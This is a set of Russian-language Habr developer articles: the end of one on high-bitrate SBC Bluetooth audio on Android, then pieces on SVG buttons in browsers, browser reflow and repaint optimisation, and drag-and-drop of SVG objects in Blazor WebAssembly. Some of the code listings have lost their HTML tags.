Видно, что SBC 328k периодически полностью отключал диапазон выше 16 кГц, и расходовал весь доступный битрейт на диапазоны ниже этого значения. Однако, aptX внес больше искажений в слышимый человеческим ухом спектр частот, что можно видеть на вычтенной оригинальной спектрограмме из спектрограммы aptX (чем ярче, тем больше искажений):
[](https://habrastorage.org/webt/ug/-i/5z/ug-i5zpihrfnvumf9no_glecqna.png)
В то время как SBC 328k меньше испортил сигнал в диапазоне от 0 до 10 кГц, а остальное — обрезал:
[](https://habrastorage.org/webt/tf/x8/7z/tfx87z8hpenx51spblrfvkc-ihe.png)
Битрейта 485k SBC хватило, чтобы сохранить весь диапазон частот, без отключения полос.
[](https://habrastorage.org/webt/_c/mc/xy/_cmcxyxwlf7u4tv-rbplwk5bmtu.png)
SBC 485k на этой композиции значительно опережает aptX в диапазоне 0-15 кГц, и с меньшей, но все же заметной разницей — в 15-22 кГц (чем темнее, тем меньше искажений):
[](https://habrastorage.org/webt/e-/qz/h8/e-qzh8azmingcbhvuwxj8iptuau.png)
[Архив оригинального аудио, SBC и aptX](https://files.catbox.moe/kpx711.zip).
Переключившись на высокобитрейтный SBC, вы получите звук, зачастую превосходящий aptX, на любых наушниках. На наушниках, поддерживающих подключение EDR 3 мбит/с, битрейт 551 кбит/с даёт звук, сравнимый с aptX HD.
А можно ещё больше?
-------------------
В патче для Android также имеется опция для ещё большего повышения битрейта для устройств EDR 2 мбит/с. Можно повысить битрейт с 452 кбит/с до 595 кбит/с, ценой уменьшения стабильности передачи в сложных радиоусловиях.
Достаточно установить переменную persist.bluetooth.sbc\_hd\_higher\_bitrate в значение 1:
```
# setprop persist.bluetooth.sbc_hd_higher_bitrate 1
```
Патч на экстремальный битрейт пока принят только в LineageOS 15.1, но не в 16.0.
Совместимость с устройствами
----------------------------
SBC Dual Channel поддерживается практически всеми наушниками, колонками и автомобильными головными устройствами. Это немудрено — стандарт предписывает его поддержку в любых декодирующих устройствах. Есть небольшое количество устройств, на которых этот режим вызывает проблемы, но это — единичные экземпляры.
Более подробно с совместимыми устройствами можно ознакомиться на [4pda](http://4pda.ru/forum/index.php?showtopic=914135) или [xda-developers](https://forum.xda-developers.com/android/software-hacking/improve-bluetooth-audio-quality-t3832615).
Сравнение различий звука
------------------------
Я сделал веб-сервис, кодирующий аудио в SBC (а также aptX и aptX HD) в реальном времени, прямо в браузере. С помощью него вы сможете сравнивать звук различных профилей SBC и другие кодеки, без фактической передачи аудио по Bluetooth, на любых проводных наушниках, колонках, и вашей любимой музыке, а также изменять параметры кодирования прямо во время воспроизведения аудио.
[btcodecs.valdikss.org.ru/sbc-encoder](https://btcodecs.valdikss.org.ru/sbc-encoder/)
Связь с разработчиками Android
------------------------------
Я писал многим разработчикам Bluetooth-стека из Google, с просьбой рассмотреть включение патчей в основную ветку Android — AOSP, но не получил ни одного ответа. Мои патчи в [системе работы с патчами Gerrit для Android](https://android-review.googlesource.com/q/topic:bt-sbc-hd-dualchannel+(status:open%20OR%20status:merged)) также остались без комментариев со стороны кого-либо причастного.
Я был бы рад, если бы мне посодействовали в связи с разработчиками из Google и внедрении SBC HD в Android. Патчcет в gerrit уже устарел (это одна из ранних ревизий), и я его обновлю, если разработчиков заинтересуют мои изменения (мне непросто его обновлять, у меня нет совместимых с Android Q устройств).
Заключение
----------
Пользователи смартфонов с прошивками LineageOS, Resurrection Remix и crDroid могут довольствоваться улучшенным качеством звука уже сейчас, достаточно активировать опцию в настройках Bluetooth-устройства. Пользователи Linux также могут получить повышенный битрейт SBC, путём установки [патча от Pali Rohár](https://lists.freedesktop.org/archives/pulseaudio-discuss/2019-June/031168.html), который, помимо всего прочего, добавляет поддержку кодеков aptX, aptX HD и FastStream. | https://habr.com/ru/post/455316/ | null | ru | null |
# Проблемы использования SVG-кнопок в браузерах
Данная статья является продолжением статьи [Рисуем кнопку в SVG](http://habrahabr.ru/blogs/svg/110869/), в которой рассматривались проблемы создания SVG-изображений, предназначенных для использования в качестве кнопок на веб-страницах. Здесь я перейду непосредственно к внедрению полученных картинок в HTML-код и расскажу, с какими проблемами столкнётся при этом разработчик, как эти проблемы можно решать и что делать с проблемами, которые решить не удаётся.
На всякий случай (для тех, кто не читал первую статью) повторю, что многие из проблем решить так и не удалось, и что это в конце концов вынудило меня отказаться от идеи использования SVG. Так если вам не хочется тратить время на чтение статьи, не приводящей к реально использующемуся результату, вы вполне можете её пропустить. Тех же, кому несмотря на это интересны детали и конкретика, прошу под кат.
##### Вставка кнопки на страницу
Для добавления SVG-изображения в HTML-страницу существует пять способов:
1. тег ;
2. тег ;
3. тег ;
4. тег **![]()**;
5. CSS-стиль **background**.
Роясь в интернетах в поисках информации про SVG, я наткнулся на [страничку](http://www.schepers.cc/svg/blendups/embedding.html), где все эти способы собраны воедино для проверки их работы в разных браузерах. Я проводил тестирование в Opera 10.63 и 11.00, Firefox 3.6.13, Chrome 8.0.552.224. IE я не стал включать в этот список, поскольку в последней стабильной версии SVG не поддерживается. Я планировал сначала разобраться с остальными браузерами, и если бы всё прошло нормально, установить в IE дополнительный плагин для поддержки SVG и проверить его поведение, а также поиграться с разрабатываемой сейчас девятой версией. Но до этого дело не дошло, поскольку (как уже было сказано) даже с браузерами, официально поддерживающими SVG, вылезло слишком много проблем. Тратить же теперь дополнительное время на проверку IE только ради включения результатов в статью я считаю нерациональным. Прошу прощения у поклонников данного браузера, ежели таковые встретятся среди читателей. Равно как и у поклонников остальных браузеров, не попавших в мой список.
Итак, в результате проверки получилась следующая картина:
* Теги , , поддерживаются всеми из протестированных браузеров.
* Тег **![]()** отказался работать в FF, а в Хроме и Опере работает исключительно в режиме картинки: внедрённые скрипты и события не обрабатываются.
* CSS-стиль **background** же оказался самым разносторонним:
+ в Firefox он не поддерживается совсем;
+ в Хроме отображается корректно, но, как и в **![]()**, не поддерживается обработка событий и скриптов, а вдобавок к этому ещё и анимация не работает;
+ в Опере он то работает, то нет; похоже, что стиль не срабатывает, если в коде страницы присутствует ещё и тег **![]()** с той же SVG-картинкой, причём этот тег должен располагается **до** элемента с картинкой-фоном. Во всех остальных случаях фон отрабатывает корректно, но, как и в Хроме, выводится статической картинкой, без обработки событий, скриптов и анимаций. (Кстати, спасибо хабралюдям [Xpeh](http://habrahabr.ru/users/xpeh/) и [tenshi](http://habrahabr.ru/users/tenshi/) за их уточнения по поводу этой функциональности в комментариях к предыдущей статье.)
Получается, что Firefox портит нам всю малину. Для наших целей не нужны ни внедрённые скрипты, ни внутренняя обработка событий в SVG: всё необходимое можно сделать и в самом HTML-файле (более того, в некоторых аспектах это было бы значительно удобнее), так что саму картинку вполне можно было бы выводить тегом **![]()**. Но увы, приходится выбирать между , и . Существенной разницы между ними нет, но тег **embed** исключён из стандартов HTML 4.0 и XHTML 1.0, а тег **iframe** несовместим со Strict-спецификациями. Поэтому лучше всего оставновиться на варианте **object** как наиболее универсальном.
Код вставки объекта выглядит примерно следующим образом:
```
```
Внутри тега можно вписать любой HTML-код: он будет использоваться на браузерах, не поддерживающих SVG. Что ж, это нам пригодится, так как рано или поздно всё равно пришлось бы вспомнить про IE (да и другие браузеры без SVG могут встретиться). Для них мы сможем добавить внутрь тега обычный .
##### Модификация текстовой надписи
Итак, мы вставили нашу кнопку. Собираемся добавить вторую… и тут же понимаем, что для этого нам придётся делать новый SVG-файл, так как надпись хранится внутри SVG-кода. Но количество файлов-картинок хотелось бы минимизировать, ведь в частности именно для этого и задумывалось использование вектора! Как быть? Здесь возможны несколько путей.
**1.** Наложить надпись поверх кнопки средствами HTML.
Сразу скажу, что я этот способ детально не исследовал, но нутром чую, что проблем он принесёт немало. Типичное решение подобных задач состоит в расположении текста после кнопки и сдвиге его влево с помощью CSS. Но не уверен, что таким способом удастся добиться корректного центрирования текста по кнопке. Значит — JS с подстройкой позиционирования, значит — постоянное слежение за положением объектов на странице (например, при изменении размеров окна или динамическом показе/скрытии блоков)… А ещё стоит учитывать, что дизайн кнопки может подразумевать сдвиг этого текста вниз-вправо при обработке нажатия (для эффекта трёхмерности)… В общем, при одной только мысли обо всём этом мне стало не по себе, поэтому я стал искать другие способы.
**2.** Вставка текста в SVG.
Этот вариант предполагает, что у нас в коде страницы есть скрипт, который пробегает по всем SVG-кнопкам и вставляет в них нужный текст (например, вызывая заранее составленную для этого функцию в самом SVG). Это уже лучше, но неприятным моментом остаётся то, что код кнопки и текст этой кнопки оказываются сильно разнесёнными. Можно, конечно, вписывать после каждого тега ещё и короткую скриптовую строчку с добавлением текста кнопки в какой-нибудь массив, но всё равно это как-то длинновато. Есть третий способ, на мой взгляд, более красивый.
**3.** Вытаскивание текста из тега.
У тега есть атрибут **standby**, который содержит текст, выводимый браузерами вместо содержимого объекта, пока этот объект грузится. Оказалось, что SVG-кнопка вполне может получить значение этого атрибута и использовать его для модификации надписи своими силами. И получается, что одним махом мы убиваем двух зайцев: с одной стороны, у нас есть подстраховка на случай каких-то залипаний загрузки — пользователь увидит не пустое место, а осмысленный текст (мне, правда, так и не удалось спровоцировать такое поведение); с другой стороны, текстовая метка теперь реализована так же удобно и наглядно, как классический **value** в теге .
##### Обработка нажатий
Следующая проблема заключается в том, что у нас не получится навесить обработчик мышиного щелчка на тег : щелчок пересылается в SVG-объект и обрабатывается там. Естественно, мы могли бы загнать обработку события внутрь кнопки, но это неразумно: ведь кнопок много, а SVG-файл один. Вместо этого лучше делегировать обработку скриптам из родительской страницы. Здесь, опять-таки, варианты реализации могут разниться, я остановился на следующем: в библиотечном JS-файле определил функцию **doClickAction**, которая вызывает обработчик конкретной кнопки, а из «кнопочного» скрипта вызываю эту функцию, передавая ей идентификатор кнопки. Примерный код выглядит следующим образом.
**Код HTML-страницы:**
```
// <![CDATA[
var signal\_handlers = new Object();
function registerSvgAction(signal\_id, handler) {
signal\_handlers[signal\_id] = handler;
}
function doClickAction(signal\_id) {
if (signal\_handlers[signal\_id])
signal\_handlers[signal\_id]();
else
alert('Internal error: unknown SVG signal (' + signal\_id + ')!<br />' +
'Please contact the developers.');
}
registerSvgAction('my-button1', function () { alert('First button clicked!'); });
registerSvgAction('my-button2', function () { alert('Second button clicked!'); });
// ]]>
```
**Код SVG-кнопки:**
```
// <![CDATA[
function init() {
// btnLabel и btnLabelShadow - элементы <text> для надписи и тени
var btnLabel = document.getElementById('btnLabel');
var btnLabelShadow = document.getElementById('btnLabelShadow');
var newText = document.createTextNode(frameElement.standby);
btnLabel.appendChild(newText);
btnLabelShadow.appendChild(newText.cloneNode(true));
}
function doAction() {
parent.doClickAction(name);
}
// ]]>
```
В этом коде я вставил дополнительные теги для отображения кнопок в не-SVG-браузерах, а в качестве обработчика нажатия назначил для них вызов той же самой **doClickAction**, передав ей идентификатор родительского **object**'а (т.е., то же самое, что передаст обработчик из SVG). Учитывая такую однородность, можно было бы попробовать автоматизировать вставку этих кнопок скриптом, но доступ к содержимому объектов в IE попросту блокируется. Впрочем, если делать скриптовый проход, то уж проще сразу заменить все объекты кнопками, не заморачиваясь с вложенностью.
Также здесь необходимо учитывать один неочевидный аспект: реально скрипт хоть и вызывает функцию родительской страницы, текущим адресом будет считаться адрес SVG-файла. Как следствие, все относительные адреса будут отсчитываться от каталога, где лежит файл кнопки, а не от реального текущего адреса страницы. Этот момент придётся учитывать, например, при открытии новых окон через **window.open()**. Решением может быть использование абсолютной адресации либо предварительное сохранение текущего адреса в переменной с последующим использованием её для вычисления нового адреса.
##### Размер шрифта
Всё это время я аккуратно обходил стороной вопрос размера шрифта для текстовой надписи на кнопке. Но теперь пришла пора заняться этой задачей. Что хотелось бы получить? В идеале — такой же шрифт, как на основной странице. К сожалению, здесь нормального решения найти не удалось. Видимо, правильнее будет в каждом конкретном случае оценивать, в каких пределах могут меняться стили кнопочной надписи, и в зависимости от этого выбирать наименее трудоёмкий путь реализации. Например, в моём проекте шрифт везде одинаковый. Соответственно, свойство **font-family** я прописал прямо в SVG, а размер высчитываю в инициализационной функции, масштабируя текст по реальной высоте кнопки (которую получаю, обращаясь к элементу родительской страницы). В более сложных случаях может потребоваться менять цвет надписи, толщину или сам вид шрифта. Для таких ситуаций можно воспользоваться, например, навешиванием стиля на тег с последующим вытаскиванием его внутри SVG-функции **init()**, разбором и присваиванием полученных стилей текстовому элементу. Также вариантом может быть глобальный обработчик в HTML-коде, который после загрузки страницы пробегает по всем кнопкам, вызывая для каждой из них какую-нибудь «подстроечную функцию». Повторюсь, здесь всё слишком индивидуально, чтобы можно было давать какие-то универсальные рекомендации.
К сожалению, даже в таком простом решении, как мой первый вариант, нашлись свои заморочки. А именно: если кнопка изначально скрыта, то Firefox в качестве её размеров возвращает ноль, и размер шрифта вычислить не удаётся. Корректного решения этой проблемы я пока придумать не смог, все варианты выглядят слишком некрасиво и/или неэффективно. Отловить событие показа кнопки не получилось, т.к. его попросту не существует. Делать явный довесок в виде переинициализации кнопки при показе ранее скрытого блока — можно, но таких мест может быть много, и об этом легко забыть. Также можно попробовать каким-то образом вычислить текущие параметры шрифта на странице и использовать в кнопке полученный размер.
##### Прочие проблемы
Как видите, говорить о простоте работы с SVG не приходится. Но, видимо, этого оказалось мало, и после всех вышеупомянутых проблем полезли ещё и новые. Их сложно разбить на какие-то категории, поэтому я просто перечислю всё то, на что мне «повезло» нарваться.
* Opera: Не работает текстовый стиль **dominant-baseline** для изменения положения базы шрифта. В результате становится невозможным выровнять текст по вертикали, приходится подгадывать положение, а то и подстраивать его динамически в зависимости от размеров кнопки и шрифта, чтобы текстовая метка выглядела пристойно.
* Chrome: При использовании масштабирования страницы SVG-элементы масштабируются, а вот размеры областей, выделенных под них — нет. В результате кнопки вылезают за пределы областей и обрезаются, да ещё и полосы прокрутки появляются, закрывая собой бо́льшую часть изображения. Главное преимущество SVG — масштабируемость — оказывается попросту выброшенным на помойку!
* Opera: Активно глючит при переиспользовании изображений из кэша. В частности, если перейти по ссылке, а потом нажать в Опере кнопку Back для возврата на предыдущую страницу, все SVG-изображения не отображаются, а «зависают» во внутреннем SVG-скрипте инициализации. Также иногда наблюдаются проблемы при динамическом создании SVG-кнопки через **createElement**: если используется изображение, присутствующее на странице, оно подвешивает загрузку страницы и не отображается, пока не нажмёшь Esc (да и после этого периодически наблюдаются разного рода неприятные эффекты).
* Общая проблема: Размер шрифта в вышеописанном решении оказывается фиксированным и не меняется при масштабировании страницы, размеры кнопки и надписи перестают соответствовать друг другу. Соответственно, после изменения масштаба страницу необходимо перезагрузить, чтобы кнопки переинициализировались правильным размером шрифта. Не исключаю, что это я недоразобрался с единицами измерения, но решить эту проблему у меня не получилось. Возможно, подстройку удастся реализовать каким-нибудь глобальным JavaScript-обработчиком, каким-то образом следящим за масштабом и вызывающим принудительное обновление кнопок.
* Firefox: В режиме масштабирования «Только текст» с размером шрифта происходит что-то жуткое. Я сходу не смог понять, по каким правилам выдаются размеры элементов в этом режиме, а задерживаться на этой проблеме уже не видел смысла.
* IE: Как было сказано, SVG в нём не поддерживается, и вместо картинок отображаются обычные кнопки, которые я поместил внутрь тегов . Проблема в том, что до IE очень туго доходит, что он не умеет работать с SVG. Поэтому, встретив кнопку, он выводит пустой блок, задумывается на некоторое время, потом рисует вместо блока кнопку. Потом то же самое со второй кнопкой, с третьей… В общем, отрисовка шести кнопок занимает в нём секунды полторы–две.
##### Итоги
Что остаётся в сухом остатке? «Ну не шмогла я, не шмогла!» Я для себя сделал вывод, что нынешняя инфраструктура пока не готова к масштабному внедрению SVG (прошу прощения за невольный каламбур). Бодаться со всеми вышеперечисленными (и, вполне возможно, не только с ними) проблемами, ошибками, недоделками — всё это занимает слишком много времени и усилий, при том, что ограничения текущих реализаций не позволяют даже воспользоваться в полной мере теми преимуществами, которые должно было бы принести использование SVG.
Ну что ж, отрицательный результат — тоже результат. Возможно, когда-то в будущем, когда поддержка SVG улучшится, этот опыт пригодится мне для окончательного перехода на масштабируемую графику. А пока отложу её на полочку до лучших времён.
Надеюсь, статья была полезной. Кому-то она поможет сэкономить время и нервы, вовремя отговорив от использования недостаточно проработанных решений. А кого-то, быть может, наоборот, сподвигнет на дальнейшие героические усилия по преодолению отчаянного сопротивления браузеров.
Засим откланиваюсь и благодарю за внимание.
***UPD:*** Добавил в список проблему замедленной отрисовки в IE.
***UPD2:*** В одном месте перепутал браузер, исправлено. | https://habr.com/ru/post/111682/ | null | ru | null |
# Рендеринг WEB-страницы: что об этом должен знать front-end разработчик
Приветствую вас, уважаемые хабравчане! Сегодня я бы хотел осветить вопрос рендеринга в веб-разработке. Конечно, на эту тему уже написано много статей, но, как мне показалась, вся информация довольно разрознена и отрывочна. По крайней мере, чтобы собрать всю картину в своей голове и осмыслить её, мне пришлось проанализировать немало информации (в основном — англоязычной). Именно поэтому я решил формализовать свои знания в статью, и поделиться результатом с сообществом Хабра. Думаю, информация будет полезна как начинающим веб-разработчикам, так и более опытным, чтобы освежить и структурировать свои знания.
Данное направление можно и нужно оптимизировать на этапе вёрстки/frontend-разработки, поскольку, очевидно, что разметка, стили и скрипты принимают в рендеринге непосредственное участие. Для этого соответствующие специалисты должны знать некоторые тонкости.
Отмечу, что статья нацелена не на точную передачу механики работы браузеров, а, скорее, на понимание её общих принципов. Тем более, разные браузерные движки сильно отличаются в алгоритмах работы, поэтому охватить все нюансы в рамках одной статьи не представляется возможным.
Процесс обработки WEB-страницы браузером
----------------------------------------
Для начала, рассмотрим последовательность работы браузера при отображении документа:
1. Из полученного от сервера HTML-документа формируется DOM (Document Object Model).
2. Загружаются и распознаются стили, формируется CSSOM (CSS Object Model).
3. На основе DOM и CSSOM формируется дерево рендеринга, или render tree — набор объектов рендеринга (Webkit использует термин «renderer», или «render object», а Gecko — «frame»). Render tree дублирует структуру DOM, но сюда не попадают невидимые элементы (например — , или элементы со стилем `display:none;`). Также, каждая строка текста представлена в дереве рендеринга как отдельный renderer. Каждый объект рендеринга содержит соответствующий ему объект DOM (или блок текста), и рассчитанный для этого объекта стиль. Проще говоря, render tree описывает визуальное представление DOM.
4. Для каждого элемента render tree рассчитывается положение на странице — происходит layout. Браузеры используют поточный метод (flow), при котором в большинстве случаев достаточно одного прохода для размещения всех элементов (для таблиц проходов требуется больше).
5. Наконец, происходит отрисовка всего этого добра в браузере — painting.
В процессе взаимодействия пользователя со страницей, а также выполнения скриптов, она меняется, что требует повторного выполнения некоторых из вышеперечисленных операций.
#### Repaint
В случае изменения стилей элемента, не влияющих на его размеры и положение на странице (например, `background-color`, `border-color`, `visibility`), браузер просто отрисовывает его заново, с учётом нового стиля — происходит repaint (или restyle).
#### Reflow
Если же изменения затрагивают содержимое, структуру документа, положение элементов — происходит reflow (или relayout). Причинами таких изменений обычно являются:
* Манипуляции с DOM (добавление, удаление, изменение, перестановка элементов);
* Изменение содержимого, в т.ч. текста в полях форм;
* Расчёт или изменение CSS-свойств;
* Добавление, удаление таблиц стилей;
* Манипуляции с атрибутом «`class`»;
* Манипуляции с окном браузера — изменения размеров, прокрутка;
* Активация псевдо-классов (например, `:hover`).
Оптимизация со стороны браузера
-------------------------------
Браузеры по возможности локализуют repaint и reflow в пределах элементов, подвергнувшимися изменению. Например, изменение размеров абсолютно или фиксировано спозиционированного элемента затронет только сам элемент и его потомков, в то время как изменение статично спозиционированного — повлечет reflow всех элементов, следующих за ним.
Ещё одна особенность — во время выполнения JavaScript браузеры кэшируют вносимые изменения, и применяют их в один проход по завершению работы блока кода. Например, в ходе выполнения данного кода произойдет только один reflow и repaint:
```
var $body = $('body');
$body.css('padding', '1px'); // reflow, repaint
$body.css('color', 'red'); // repaint
$body.css('margin', '2px'); // reflow, repaint
// На самом деле произойдет только 1 reflow и repaint
```
Однако, как описано выше, обращение к свойствам элементов вызовет принудительный reflow. То есть, если мы в приведённый блок кода добавим обращение к свойству элемента, это вызовет лишний reflow:
```
var $body = $('body');
$body.css('padding', '1px');
$body.css('padding'); // обращение к свойству, принудительный reflow
$body.css('color', 'red');
$body.css('margin', '2px');
```
В итоге мы получим 2 reflow вместо одного. Поэтому, обращения к свойствам элементов по возможности нужно группировать в одном месте, дабы оптимизировать производительность (см. [более подробный пример на JSBin](http://jsbin.com/duhah/2/edit)).
Но, на практике встречаются ситуации, когда без принудительного reflow не обойтись. Допустим, у нас есть задача: к элементу нужно применить одно и то же свойство (возьмём «`margin-left`») сначала без анимации (установить в `100px`), а затем — анимировать посредством transition в значение `50px`. Можете сразу посмотреть [этот пример на JSBin](http://jsbin.com/qutev/1/edit), но я распишу его и тут.
Для начала заведём класс с transition:
```
.has-transition {
-webkit-transition: margin-left 1s ease-out;
-moz-transition: margin-left 1s ease-out;
-o-transition: margin-left 1s ease-out;
transition: margin-left 1s ease-out;
}
```
Затем, попробуем реализовать задуманное следующим образом:
```
var $targetElem = $('#targetElemId'); // наш элемент, по умолчанию у него присутствует класс "has-transition"
// убираем класс с transition
$targetElem.removeClass('has-transition');
// меняем свойство, ожидая, что transition отключён, ведь мы убрали класс
$targetElem.css('margin-left', 100);
// ставим класс с transition на место
$targetElem.addClass('has-transition');
// меняем свойство
$targetElem.css('margin-left', 50);
```
Данное решение не будет работать, как ожидается, т.к. изменения кэшируются и применяются только в конце блока кода. Нас выручит принудительный reflow, в результате код приобретёт следующий вид, и будет в точности выполнять поставленную задачу:
```
// убираем класс с transition
$(this).removeClass('has-transition');
// меняем свойство
$(this).css('margin-left', 100);
// принудительно вызываем reflow, изменения в классе и свойстве будут применены сразу
$(this)[0].offsetHeight; // как пример, можно использовать любое обращение к свойствам
// ставим класс с transition на место
$(this).addClass('has-transition');
// меняем свойство
$(this).css('margin-left', 50);
```
Практические советы по оптимизации
----------------------------------
На основе данной статьи, а также других статей на Харбе, где освещается вопрос оптимизации клиентской части, можно вывести следующие советы, которые пригодятся при создании эффективного фронтенда:
* Пишите валидный HTML и CSS, с указанием кодировки. Стили лучше включать в , а скрипты — в конце .
* Стремитесь упрощать и оптимизировать селекторы CSS (этим часто пренебрегают разработчики, использующие препроцессоры). Чем меньше вложенность — тем лучше. По эффективности обработки селекторы можно расположить в следующем порядке (начиная с наиболее быстрого):
1. Идентификатор: `#id`
2. Класс: `.class`
3. Тэг: `div`
4. Соседний селектор: `a + i`
5. Дочерний селектор: `ul > li`
6. Универсальный селектор: `*`
7. Селектор атрибутов: `input[type="text"]`
8. Всевдоэлементы и псевдоклассы: `a:hover`
Следует помнить, что браузер обрабатывает селекторы справа налево, поэтому в качестве ключевого (крайнего правого) селектора лучше использовать наиболее эффективные — идентификатор и класс.
```
div * {...} // плохо
.list li {...} // плохо
.list-item {...} // хорошо
#list .list-item {...} // хорошо
```
* В скриптах минимизируйте любую работу с DOM. Кэшируйте всё: свойства, объекты, если подразумевается повторное их использование. При сложных манипуляциях разумно работать с «offline» элементом (т.е. который находится не в DOM, а в памяти), с последующим помещением его в DOM.
* При использовании jQuery для выборки элементов придерживайтесь [рекомендаций по составлению селекторов](http://learn.jquery.com/performance/optimize-selectors/).
* Для изменения стилей элементов лучше модифицировать только атрибут «`class`», и как можно глубже в дереве DOM, это и более грамотно с точки зрения разработки и поддержки (отделение логики от представления), и менее затратно для браузера.
* Анимировать желательно только абсолютно и фиксировано спозиционированные элементы.
* Можно отключать сложные :hover анимации во время скроллинга (например, добавляя к body класс «`no-hover`»). [Статья на эту тему](http://habrahabr.ru/post/204238/).
Для более детального изучения вопроса рекомендую ознакомиться со статьями:
* [How browsers work](http://taligarsiel.com/Projects/howbrowserswork1.htm)
* [Rendering: repaint, reflow/relayout, restyle](http://www.phpied.com/rendering-repaint-reflowrelayout-restyle/)
Надеюсь, каждый читатель извлёк из статьи что-нибудь полезное. В любом случае — спасибо за внимание!
UPD: Спасибо [SelenIT2](https://habrahabr.ru/users/selenit2/) и [piumosso](https://habrahabr.ru/users/piumosso/) за верные замечания по поводу эффективности обработки CSS-селекторов. | https://habr.com/ru/post/224187/ | null | ru | null |
# Blazor WebAssembly: Drag and Drop в SVG
[Demo](https://alexeyboiko.github.io/BlazorDraggableDemo/) | [GitHub](https://github.com/AlexeyBoiko/BlazorDraggableDemo)
Blazor WebAssembly: Drag and Drop SVG объектовВ статье описан способ реализации перетаскивания SVG объектов. Попутно рассмотрены следующие моменты разработки на Blazor:
* Шаблонные компоненты. Содержимое шаблонного компонента можно задавать в родительском компоненте.
* Передача событий от родительского компонента дочернему (Parent -> Child);
* Проблема перезаписи входных параметров компонента внутри самого компонента ([Overwritten parameters problem](https://docs.microsoft.com/en-us/aspnet/core/blazor/components/?view=aspnetcore-5.0#overwritten-parameters-1));
* Двухсторонний биндинг между родителем и дочерним компонентом. Т.е. входной параметр дочернего компонента может менять и родительский компонент и дочерний;
* Как сделать stopPropagation на Blazor;
Что получится в итоге
---------------------
В итоге получится Blazor компонент - Draggable. Пример использования:
```
@inject MouseService mouseSrv;
mouseSrv.FireMove(this, e))
@onmouseup=@(e => mouseSrv.FireUp(this, e))>>
Sun
```
*Листинг 1. Использование шаблонного компонента Draggable*
Draggable вместе с содержимым будет перетаскиваться.
Параметры X и Y поддерживают двусторонний биндинг:
```
@inject MouseService mouseSrv;
mouseSrv.FireMove(this, e))
@onmouseup=@(e => mouseSrv.FireUp(this, e))>>
Sun
@code {
double X = 250;
double Y = 150;
}
```
*Листинг 2. Использование Draggable с двухсторонним биндингом X, Y*
Если вам просто нужно готовое решение, статью читать не обязательно - сразу переходите к блоку “Как использовать Draggable-компонент в своем проекте”.
Основная идея
-------------
Для позиционирования SVG объектов удобно использовать группирующий элемент g и translate:
```
Sun
```
*Листинг 3. Позиционирование группы SVG объектов с помощью translate*
Рис 1. Позиционирование группы SVG объектов с помощью translateДля “перетаскивания” нужно подписаться на событие перемещения мышки и менять значения translate.
Шаблонный компонент Draggable
-----------------------------
В листинге 1 показано использование компонента Draggable. Draggable это шаблонный компонент, который оборачивает содержимое в :
```
@ChildContent
@code {
[Parameter] public RenderFragment? ChildContent { get; set; }
double x = 250;
double y = 150;
}
```
*Листинг 4. Шаблонный компонент Draggable оборачивает содержимое в*
При изменении x, y положение вместе с содержимым будет меняться.
Для перетаскивания (корректного изменения x, y) нужны следующие события:
1. Событие, когда пользователь начинает перетаскивание - нажимает мышкой на элемент.
Это onmousedown на элементе . При этом обратите внимание что это не прямоугольник, границы проходят по контурам вложенных объектов. Т.е. для Листинг 3 onmousedown будет срабатывать только внутри круга - это как раз то, что нужно.
2. События движения курсора с нажатой мышкой.
Думаете onmousemove на элементе ? Нет. При быстрых движениях мышка уходит за границы и onmousemove перестает работать. Поэтому onmousemove нужно вешать на весь и пробрасывать событие в Draggable.
3. Событие, когда пользователь заканчивает перетаскивание - опускает (поднимает) мышку.
onmouseup на не подходит по той же причине: при быстрых движениях мышка уходит за границы и onmouseup не срабатывает. Получается и onmouseup нужно регистрировать на весь .
Передача событий от родительского компонента дочернему (Parent -> Child)
------------------------------------------------------------------------
Получается нужен способ подписать Draggable на события onmousemove и onmouseup родительского . Это можно сделать с помощью singleton сервиса:
```
// inject IMouseService into subscribers
public interface IMouseService {
event EventHandler? OnMove;
event EventHandler? OnUp;
}
// use MouseService to fire events
public class MouseService : IMouseService {
public event EventHandler? OnMove;
public event EventHandler? OnUp;
public void FireMove(object obj, MouseEventArgs evt) => OnMove?.Invoke(obj, evt);
public void FireUp(object obj, MouseEventArgs evt) => OnUp?.Invoke(obj, evt);
}
```
*Листинг 5. IMouseService нужно использовать в компонентах в которых требуется обрабатывать события. MouseService использовать там, где происходит запуск событий*
MouseService нужно зарегистрировать как singleotn, чтобы все компоненты получили один инстанс сервиса:
```
builder.Services
.AddSingleton()
.AddSingleton(ff => ff.GetRequiredService());
```
*Листинг 6. MouseService зарегистрирован как singleton*
Теперь MouseService можно использовать.
Подписка на события и запуск событий MouseService:
```
@inject MouseService mouseSrv;
mouseSrv.FireMove(this, e))
@onmouseup=@(e => mouseSrv.FireUp(this, e))>>
Sun
```
*Листинг 7. Запуск событий onmousemove и onmouseup элемента в глобальный singleton сервис*
Подписка на события внутри Draggable:
```
@inject IMouseService mouseSrv;
@ChildContent
@code {
[Parameter] public RenderFragment? ChildContent { get; set; }
double x = 250;
double y = 150;
protected override void OnInitialized() {
mouseSrv.OnMove += OnMove;
mouseSrv.OnUp += OnUp;
base.OnInitialized();
}
void OnDown(MouseEventArgs e) {...}
void OnMove(object? _, MouseEventArgs e) {... x=... y=...}
void OnUp(object? _, MouseEventArgs e) {...}
public void Dispose() {
mouseSrv.OnMove -= OnMove;
mouseSrv.OnUp -= OnUp;
}
}
```
*Листинг 8. Компонент Draggable. Подписка на события MouseService и onmousedown элемента*
Обратите внимание на метод Dispose: от подписок нужно отписываться.
Теперь внутри Draggable есть все необходимые события:
* OnDown - событие начала перетаскивания,
* OnMove - изменение позиции мышки,
* OnUp - событие окончания перетаскивания.
Можно реализовать алгоритм перетаскивания:
1. На OnDown ставим флаг “мышка нажата” и запоминаем положение курсора;
2. На OnMove если “мышка нажата”:
1. Рассчитываем дельту между старым и новым положением курсора;
2. Запоминаем текущее положение курсора;
3. Изменяем x, y - добавляем к текущим значениям дельты. Конкретные координаты курсора не важны, важны дельты.
3. На OnUp снимаем флаг “мышка нажата”.
Для краткости, код алгоритма тут не приводится - смотрите на GitHub.
Проблема перезаписи входных параметров
--------------------------------------
Теперь Draggable уже работает, но нет возможности задать начальное положение - т.е. задать параметры x, y.
Если сделать внутренние поля x, y входными параметрами (листинг 9), то задать начальное положение станет возможным (листинг 10), но перетаскивание перестанет работать.
```
...
@code {
…
[Parameter] double x { get; set; };
[Parameter] double y { get; set; };
…
void OnMove(object? _, MouseEventArgs e) {... x=... y=...}
```
*Листинг 9. Компонент Draggable. Приватные x,y сделаны входными параметрами. Внутри компонента происходит обновление x,y (в методе OnMove). Не рабочий вариант*
```
...
```
*Листинг 10. Установка входных параметров Draggable в родительском компоненте*
